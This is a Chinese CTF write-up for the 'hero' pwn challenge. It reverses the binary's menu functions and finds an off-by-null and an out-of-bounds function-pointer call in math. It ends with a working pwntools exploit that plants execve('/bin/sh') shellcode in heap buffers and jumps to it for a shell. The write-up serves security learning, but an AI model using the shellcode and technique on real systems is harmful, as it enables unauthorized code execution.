pcb final hero详解

lemon六 / 2018-12-16 10:07:00 / 浏览数 2620 安全技术 CTF 顶(0) 踩(0)

---

这个题目也是一个菜单题其中有两个可调用的洞所以同时会有两种利用方法这里我主要介绍一种简单的利用方法，另一种方法会贴出链接，因为这是一道原题嘛。

程序分析

main

```
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  char buf; // [rsp+0h] [rbp-20h]
  unsigned __int64 v5; // [rsp+18h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  Init(*(_QWORD *)&argc, argv, envp);
  v3 = "Do you want to be superhero?";
  puts("Do you want to be superhero?");
  while ( 1 )
  {
    menu(v3);  s: char[]
    read(0, &buf, 0x10uLL);
    v3 = &buf;
    switch ( atoi(&buf) )
    {
      case 1:
        add(&buf, &buf);
        continue;
      case 2:
        show(&buf, &buf);
        continue;
      case 3:
        edit(&buf, &buf);
        continue;
      case 4:
        del(&buf, &buf);
        continue;
      case 5:
        puts("Bye bye!");
        exit(0);
        return;
      case 6:
        math();
        break;
      default:
        break;
    }
    v3 = "Invalid choice!";
    puts("Invalid choice!");
  }
}
```

这里有6个选项相对于原题多了一个math选项而另一个漏洞点就在这个函数之中。

add

这里会读入两个参数大小0xf8具体是读入了堆上

```
int add()
{
  _BYTE *v1; // rbx
  signed int i; // [rsp+Ch] [rbp-14h]

  for ( i = 0; i <= 9 && name[i]; ++i )
    ;
  if ( i == 10 )
    return puts("You can't add more heros!");
  name[i] = malloc(0x68uLL);
  power[i] = malloc(0xF8uLL);
  puts("What's your hero's name:");
  v1 = name[i];
  v1[read(0, name[i], 0x68uLL)] = 0;
  puts("What's your hero's power:");
  read(0, power[i], 0xF8uLL);
  return puts("Done!");
}
```

show

这个函数也没有什么漏洞大致就是打印出我们的输入，如果不存在就会打印no such hero

```
unsigned __int64 show()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What hero do you want to show?");
  read(0, &buf, 0x10uLL);
  v1 = atoi(&buf);
  if ( v1 <= 9 && name[v1] )
  {
    printf("Hero:%s\nPower:%s\n", name[v1], power[v1]);
    puts("Done!");
  }
  else
  {
    puts("No such hero!");
  }
  return __readfsqword(0x28u) ^ v3;
}
```

edit

原来看到这个edit的时候第一反应就是这里可能会有一个uaf或者double
free之类的东西，可是进去看的时候发现什么都没有，果然不是很简单的题目，不过这里存在一个off by null
这里可以利用，不过这个利用起来比较麻烦所以我就采用了另一种方法取做。

```
unsigned __int64 edit()
{
  _BYTE *v0; // rbx
  unsigned int v2; // [rsp+Ch] [rbp-34h]
  char buf; // [rsp+10h] [rbp-30h]
  unsigned __int64 v4; // [rsp+28h] [rbp-18h]

  v4 = __readfsqword(0x28u);
  puts("What hero do you want to edit?");
  read(0, &buf, 0x10uLL);
  v2 = atoi(&buf);
  if ( v2 <= 9 && name[v2] )
  {
    free(name[v2]);
    name[v2] = malloc(0x68uLL);
    puts("What's your hero's name:");
    v0 = name[v2];
    v0[read(0, name[v2], 0x68uLL)] = 0;
    free(power[v2]);
    power[v2] = malloc(0xF8uLL);
    puts("What's your hero's power:");
    read(0, power[v2], 0xF8uLL);
    puts("Done!");
  }
  else
  {
    puts("No such hero!");
  }
  return __readfsqword(0x28u) ^ v4;
}
```



del

删除我们之前创建的堆这里进行了一个指针的置0所以也没有什么问题

```
unsigned __int64 del()
{
  unsigned int v1; // [rsp+Ch] [rbp-24h]
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("What hero do you want to remove?");
  read(0, &buf, 0x10uLL);
  v1 = atoi(&buf);
  if ( v1 <= 9 && name[v1] )
  {
    free(name[v1]);
    free(power[v1]);
    name[v1] = 0LL;
    power[v1] = 0LL;
    puts("Done!");
  }
  else
  {
    puts("No such hero!");
  }
  return __readfsqword(0x28u) ^ v3;
}
```



math

这里存在一个func的指针函数调用，这里采用的是加v1然后进行一个调用，而且v1是可控的所以这里我们可以进行一个利用了

```
__int64 math()
{
  unsigned int v1; // [rsp+0h] [rbp-20h]
  unsigned int v2; // [rsp+4h] [rbp-1Ch]
  unsigned int v3; // [rsp+8h] [rbp-18h]
  unsigned int v4; // [rsp+Ch] [rbp-14h]
  __int64 (__fastcall *v5)(_QWORD, _QWORD); // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  puts(
    "What do you want to do?\n"
    "1. Add two numbers\n"
    "2. Subtract two numbers\n"
    "3. Multiply two numbers\n"
    "4. Divide two numbers");
  fflush(_bss_start);
  read_integers((__int64)&v1, (__int64)&v2);
  printf("You chose: %d\nPlease input two numbers to do math with\n", v1);
  fflush(_bss_start);
  read_integers((__int64)&v2, (__int64)&v3);
  v5 = (__int64 (__fastcall *)(_QWORD, _QWORD))*(&funcs + (signed int)(v1 - 1));
  v4 = v5(v2, v3);
  printf("Result: %d\n", v4);
  fflush(_bss_start);
  return 0LL;
}
```



动态调试

这里没有开启nx所以可以直接执行shellcode来进行一个利用。

```
Reading symbols from ./hero...(no debugging symbols f
pwndbg> checksec
[*] '/media/psf/\xe6\xa1\x8c\xe9\x9d\xa2/hero'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

pwndbg>
```



思路分析

首先在name和power段进行一个shellcode的写入然后进行一个ret2sc的操作来进行getshell，计算一下地址偏移是13，这里要注意是ida中的地址相减然后除以8才是偏移。

exp

```
io = remote('172.91.0.125',8089)
context.arch='amd64'
context.log_level='debug'
#gdb.attach(io)
payload='jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
io.sendlineafter("choice:",'1')
io.sendlineafter("name:",payload)
io.sendlineafter("power:",payload)
io.sendlineafter("choice",'6')
io.sendlineafter("do?",'13')
io.sendlineafter("with",'1 2')
io.interactive()
```

方法二的链接

方法二的链接中是没有math函数的
http://www.pwndog.top/2018/07/29/%E4%B8%80%E6%AC%A1Null-by-one%E7%9A%84%E5%88%A9%E7%94%A8%E8%BF%87%E7%A8%8B/

总结

题目本身不难但是要看你选择的方法是什么，如果是传统的off by null
可能会出不少bug，和那些10分钟就打全程的师傅比肯定会差很多分，和大师们的差别还是在见的比他们少想的比他们少吧。。。


上一篇：Web Fuzz 下一篇：ThinkPHP v5 新漏洞攻击...
1. 0 条回复
   - 动动手指，沙发就是你的了！